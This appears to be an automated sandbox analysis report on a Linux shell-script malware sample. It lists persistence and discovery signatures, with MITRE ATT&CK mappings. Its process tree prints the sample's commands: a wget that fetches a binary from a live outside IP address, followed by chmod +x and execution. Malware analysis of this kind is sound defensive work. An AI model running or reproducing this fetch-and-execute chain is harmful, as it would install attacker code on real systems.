Analysis
- max time kernel
149s - max time network
141s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
29/05/2026, 05:57
General
- Target e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
- Size 1KB
- Sample260529-gntdmsdv2k
- SHA256 e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- Creates/modifies environment variables 1 TTPs 3 IoCs
Creating/modifying environment variables is a common persistence mechanism.
- Write file to user bin folder 1 IoCs
- Modifies Bash startup script 2 TTPs 3 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh/tmp/e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh1⤵
- Executes dropped EXE
-
/usr/bin/wgetwget http://176.65.139.148:5001/x86 -O x862⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x x862⤵
- File and Directory Permissions Modification
-
-
/tmp/x86./x862⤵
- Creates/modifies environment variables
- Write file to user bin folder
- Modifies Bash startup script
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Privilege Escalation
Boot or Logon Autostart Execution
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Replay Monitor
Loading Replay Monitor...
Downloads
x86